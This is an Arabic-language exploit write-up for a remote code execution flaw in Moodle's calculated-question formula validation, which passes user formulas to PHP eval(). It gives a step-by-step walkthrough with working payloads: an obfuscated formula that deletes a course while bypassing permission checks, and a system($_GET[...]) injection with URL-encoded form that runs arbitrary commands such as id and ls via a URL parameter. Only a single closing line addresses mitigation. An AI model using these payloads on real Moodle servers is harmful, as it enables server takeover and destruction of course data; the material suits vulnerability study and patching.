
اسم التطبيق: Moodle
إصدار البناء: moodle-4.4.1
الإصدارات المتأثرة: 4.4 إلى 4.4.1، 4.3 إلى 4.3.5، 4.2 إلى 4.2.8، 4.1 إلى 4.1.11 والإصدارات غير المدعومة سابقًا
رابط التحميل: moodle-4.4.1
يمكن للمهاجمين الذين لديهم صلاحية إنشاء أو تعديل الأسئلة في دورة تدريبية على Moodle إدخال بيانات خبيثة للأسئلة المحسوبة، والتي يمكن استغلالها لتنفيذ أوامر عشوائية على النظام الأساسي.

تساعد الدالة qtype_calculated_find_formula_errors في ضمان صحة الصيغ المُدخلة في Moodle، وتمنع أخطاء بناء الجملة.

يتم استبدال المتغيرات بالرقم 1.0، وتحويل الصيغة إلى أحرف صغيرة، وإزالة المسافات البيضاء.


يتم تنفيذ منطق التحقق الرئيسي عن طريق التكرار على الصيغة وتحديد التعبير الرياضي الأعمق على الجانب الأيسر، والذي يمكن تمييزه بعدم احتوائه على أقواس متداخلة. بعد ذلك، يُستبدل هذا التعبير بالرقم 1.0.

أخيرًا، بعد ألا يُرجع التعبير النمطي أي نتائج تطابق إضافية، تُعتبر الصيغة صالحة إذا كانت تحتوي فقط على عوامل تشغيل أو أرقام آمنة، وتُمرَّر الصيغة الأصلية فقط إلى eval.
يتم التحقق من النتيجة عن طريق تمرير الصيغة إلى دالة php eval() بعد عملية تصفية غير مكتملة. توجد طريقتان لتجاوز منطق التحقق:

يتم استبدال العناصر النائبة للمتغيرات مثل {a} بقيمها محاطة بأقواس ()، فإذا أضفنا {a} إلى التعبير أعلاه المقابل لـ 'PRINTF'، ستكون النتيجة 'PRINTF'(1)، وبالتالي يمكن تعريف صيغة إجابة بجزأين: a (function_name) و a {variable}.
2) المتغيرات غير المعرّفة لا تُستبدل قبل تمريرها إلى دالة eval()، وبالتالي لا تخضع للتدقيق كجزء من الصيغة. بالإضافة إلى ذلك، فإن فحوصات سلامة أسماء المتغيرات أقل صرامة من الفحوصات المطبقة على جميع الأجزاء الأخرى من الصيغة. يمكن استغلال ذلك لاستدعاء دوال عشوائية عند استخدام صيغة php object->{"member"}.
أنشئ سؤالًا محسوبًا بمتغير واحد، على سبيل المثال {a}

احفظ السؤال واضبط نطاق قيمة المتغير بحيث يساوي تمامًا معرّف المقرر الدراسي (ID) وهو 3.

احفظ السؤال، ثم عدّل التعبير إلى:
((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^ (8 . 4 . 2 . 8 . 8 . 3 . 4 . 0 . 0 . 0 . -1 . 3) ^ (2 . 0 . 0 . 3 . 0 . 0 . 0 . 0 . 0 . -8 . 1 . 0) ^ (0 . 0 . 0 . 0 . 0 . 0 . -2 . 1 . 4 . 6 . 0 . 0) ^ (0 . 0 . 0 . 0 . -8 . 8 . 0 . 0 . 2 . 0 . -8)){a}
سيؤدي حفظ السؤال المعدّل إلى ظهور خطأ، لكن السؤال سيُحفظ مع ذلك. عد إلى بنك الأسئلة وقم بمعاينة السؤال، وستقوم الدالة DELETE_COURSE بحذف المقرر الدراسي ذي المعرّف المحدد، متجاوزةً جميع فحوصات الأذونات.


أنشئ سؤالًا محسوبًا واضبط صيغة الإجابة إلى:
(1)->{system($_GET[chr(97)])}

يُعدَّل التعبير إلى 1-0-system($_GET{chr(97)})

اعترض الطلب وأعد تعديله إلى (1)->{system($_GET[chr(97)])} %281%29-%3E%7Bsystem%28%24_GET%5Bchr%2897%29%5D%29%7D

تظهر رسالة الخطأ exception-system():Argument#1($command) cannotbe empty

أضف الأمر المطلوب عن طريق إضافة &a=[arbitrary command] إلى رابط URL. سيتم تضمين مخرجات أمر النظام المحدد في بداية استجابة HTTP الناتجة.
A=id

A=ls

عدّل دالة التعقيم qtype_calculated_find_formula_errors بحيث يُرجع /question/type/calculated/questiontype.php القيمة false دائمًا إذا لم تُستخدم الأسئلة المحسوبة.